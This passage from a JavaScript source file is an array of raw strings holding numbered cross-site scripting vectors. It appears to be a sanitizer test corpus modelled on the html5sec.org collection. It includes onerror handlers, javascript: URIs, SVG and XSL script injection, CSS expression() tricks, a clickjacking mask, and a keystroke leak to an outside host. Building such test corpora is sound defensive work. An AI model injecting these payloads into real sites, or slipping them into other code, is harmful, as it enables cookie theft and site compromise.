  String.raw`--><!--*{color:red}   /* all UA */`,
  String.raw`*{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */`,
  String.raw`</style>//["'\`-->]]>]</div>`,
  String.raw`<div id="100"><img[a][b]src=x[d]onerror[c]=[e]"alert(100)">//["'\`-->]]>]</div><div id="101"><a href="[a]java[b]script[c]:alert(101)">XXX</a>//["'\`-->]]>]</div><div id="102"><img src="x\` \`<script>alert(102)</script>"\` \`>//["'\`-->]]>]</div><div id="103"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>//["'\`-->]]>]</div>`,
  String.raw`<div id="104"><svg xmlns="http://www.w3.org/2000/svg" id="foo">`,
  String.raw`<x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="105"><iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>//["'\`-->]]>]</div><div id="106"><img src onerror /" '"= alt=alert(106)//">//["'\`-->]]>]</div><div id="107"><title onpropertychange=alert(107)></title><title title=></title>//["'\`-->]]>]</div>`,
  String.raw`<div id="108"><!-- IE 5-8 standards mode -->`,
  String.raw`<a href=http://foo.bar/#x=\`y></a><img alt="\`><img src=xx:x onerror=alert(108)></a>">`,
  String.raw`<!-- IE 5-9 standards mode -->`,
  String.raw`<!a foo=x=\`y><img alt="\`><img src=xx:x onerror=alert(2)//">`,
  String.raw`<?a foo=x=\`y><img alt="\`><img src=xx:x onerror=alert(3)//">//["'\`-->]]>]</div>`,
  String.raw`<div id="109"><svg xmlns="http://www.w3.org/2000/svg">`,
  String.raw`<a id="x"><rect fill="white" width="1000" height="1000"/></a>`,
  String.raw`<rect  fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="110"><svg xmlns="http://www.w3.org/2000/svg">`,
  String.raw`<path d="M0,0" style="marker-start:url(test4.svg#a)"/>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="111"><div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>//["'\`-->]]>]</div><div id="112"><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>//["'\`-->]]>]</div>`,
  String.raw`<div id="113"><div id="x">XXX</div>`,
  String.raw`<style>#x{font-family:foo[bar;color:green;}#y];color:red;{}</style>//["'\`-->]]>]</div>`,
  String.raw`<div id="114"><x style="background:url('x[a];color:red;/*')">XXX</x>//["'\`-->]]>]</div>`,
  String.raw`<div id="115"><!--[if]><script>alert(115)</script -->`,
  String.raw`<!--[if<img src=x onerror=alert(2)//]> -->//["'\`-->]]>]</div>`,
  String.raw`<div id="116"><div id="x">x</div>`,
  String.raw`<xml:namespace prefix="t">`,
  String.raw`<import namespace="t" implementation="#default#time2">`,
  String.raw`<t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(116)&gt;">//["'\`-->]]>]</div>`,
  String.raw`<div id="117"><a href="http://attacker.org">`,
  String.raw`<iframe src="http://example.org/"></iframe>`,
  String.raw`</a>//["'\`-->]]>]</div>`,
  String.raw`<div id="118"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"><h1>Drop me</h1></div>`,
  String.raw`<iframe src="http://www.example.org/dropHere.html"></iframe>//["'\`-->]]>]</div>`,
  String.raw`<div id="119"><iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe>`,
  String.raw`<textarea type="text" cols="50" rows="10"></textarea>//["'\`-->]]>]</div>`,
  String.raw`<div id="120"><script>function makePopups(){for (i=1;i<6;i++) {window.open('popup.html','spam'+i,'width=50,height=50');}}</script>`,
  String.raw`<body><a href="#" onclick="makePopups()">Spam</a>//["'\`-->]]>]</div>`,
  String.raw`<div id="121"><html xmlns="http://www.w3.org/1999/xhtml"`,
  String.raw`xmlns:svg="http://www.w3.org/2000/svg">`,
  String.raw`<body style="background:gray">`,
  String.raw`<iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/>`,
  String.raw`<svg:svg><svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"><svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/><svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/></svg:mask></svg:svg></body>`,
  String.raw`</html>//["'\`-->]]>]</div>`,
  String.raw`<div id="122"><iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>//["'\`-->]]>]</div>`,
  String.raw`<div id="123"><span class=foo>Some text</span>`,
  String.raw`<a class=bar href="http://www.example.org">www.example.org</a>`,
  String.raw`<script src="http://code.jquery.com/jquery-1.4.4.js"></script>`,
  String.raw`<script>$("span.foo").click(function() {alert('foo');$("a.bar").click();});$("a.bar").click(function() {alert('bar');location="http://html5sec.org";});</script>//["'\`-->]]>]</div>`,
  String.raw`<div id="124"><script src="/\example.com\foo.js"></script> // Safari 5.0, Chrome 9, 10`,
  String.raw`<script src="\\example.com\foo.js"></script> // Safari 5.0//["'\`-->]]>]</div>`,
  String.raw`<div id="125"><?xml version="1.0"?>`,
  String.raw`<?xml-stylesheet type="text/xml" href="#stylesheet"?>`,
  String.raw`<!DOCTYPE doc [`,
  String.raw`<!ATTLIST xsl:stylesheet id    ID    #REQUIRED>]>`,
  String.raw`<svg xmlns="http://www.w3.org/2000/svg">`,
  String.raw`<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">        <xsl:template match="/"><iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(125)"></iframe>        </xsl:template></xsl:stylesheet><circle fill="red" r="40"></circle></svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="126"><object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object>`,
  String.raw`<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(126)" style="behavior:url(#x);"><param name=postdomevents /></object>//["'\`-->]]>]</div>`,
  String.raw`<div id="127"><svg xmlns="http://www.w3.org/2000/svg" id="x">`,
  String.raw`<listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/>`,
  String.raw`<handler id="y">alert(127)</handler>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="128"><svg><style>&lt;img/src=x onerror=alert(128)// </b>//["'\`-->]]>]</div>`,
  String.raw`<div id="129"><svg>`,
  String.raw`<image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>")'>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="130"><math href="javascript:alert(130)">CLICKME</math>`,
  String.raw`<math>`,
  String.raw`<maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction>`,
  String.raw`<maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction>`,
  String.raw`</math>//["'\`-->]]>]</div>`,
  String.raw`<div id="131"><b>drag and drop one of the following strings to the drop box:</b>`,
  String.raw`<br/><hr/>jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>`,
  String.raw`feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>`,
  String.raw`feed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b>`,
  String.raw`<br/><hr/>feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>`,
  String.raw`<div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>//["'\`-->]]>]</div>`,
  String.raw`<div id="132"><!doctype html>`,
  String.raw`<form>`,
  String.raw`<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>`,
  String.raw`<br>`,
  String.raw`<input name="secret" type="password">`,
  String.raw`</form>`,
  String.raw`<!-- injection --><svg height="50px">`,
  String.raw`<image xmlns:xlink="http://www.w3.org/1999/xlink">`,
  String.raw`<set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" />`,
  String.raw`<set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" />`,
  String.raw`<set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" />`,
  String.raw`<set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" />`,
  String.raw`</image>`,
  String.raw`</svg>//["'\`-->]]>]</div>`,
  String.raw`<div id="133"><!-- \`<img/src=xx:xx onerror=alert(133)//--!>//["'\`-->]]>]</div>`,
  String.raw`<div id="134"><xmp>`,
  String.raw`<%`,
  String.raw`</xmp>`,
  String.raw`<img alt='%></xmp><img src=xx:x onerror=aler`,
  String.raw`*{color:red}</style>//["'\`-->]]>]</div>`,
  String.raw`<div id="135"><?xml-stylesheet type="text/xsl" href="#" ?>`,
  String.raw`<stylesheet xmlns="http://www.w3.org/TR/WD-xsl">`,
  String.raw`<template match="/">`,
  String.raw`<eval>new ActiveXObject(&apos;htmlfile&apos;).parentWindow.alert(135)</eval>`,
  String.raw`<if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if>`,
  String.raw`</template>`,
  String.raw`</stylesheet>//["'\`-->]]>]</div>`,
  String.raw`<div id="136"><form action="" method="post">`,
  String.raw`<input name="username" value="admin" />`,
  String.raw`<input name="password" type="password" value="secret" />`,
  String.raw`<input name="injected" value="injected" dirname="password" />`,
  String.raw`<input type="submit">`,
  String.raw`</form>//["'\`-->]]>]</div>`,
  String.raw`<div id="137"><svg>`,
  String.raw`<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">`,
  String.raw`<circle r="400"></circle>`,
  String.raw`<animate attributeName="xlink:href" begin="0" from="javascript:alert(137)" to="&" />`,
  String.raw`</a>//["'\`-->]]>]</div>`,
  String.raw`<div id="138"><link rel="import" href="test.svg" />//["'\`-->]]>]</div><div id="139"><iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />//["'\`-->]]>]</div>undefined`,
  String.raw`<marquee loop=1 width=0 onfinish=alert(1)>`,
  String.raw`<marguee/onstart=alert(1)>`,
  String.raw`<svg onload=(alert)(1)>`,
  String.raw`<script>$=1,alert($)</script>`,
  String.raw`<form><button formaction="javascript:alert(1)">`,
  String.raw`<div style=xss:expression(alert(1))>`,
  String.raw`<div style=xss:expression(1)-alert(1)>`,
  String.raw`<div style=xss:expressio\6e(alert(1))>`,
  String.raw`<div style=xss:expressio\006e(alert(1))>`,
  String.raw`<div style=xss:expressio\00006e(alert(1))>`,
  String.raw`<div style=xss:expressio\6e(alert(1))>`,
  String.raw`<div style=xss:expressio&#x5c;6e(alert(1))>`,
]
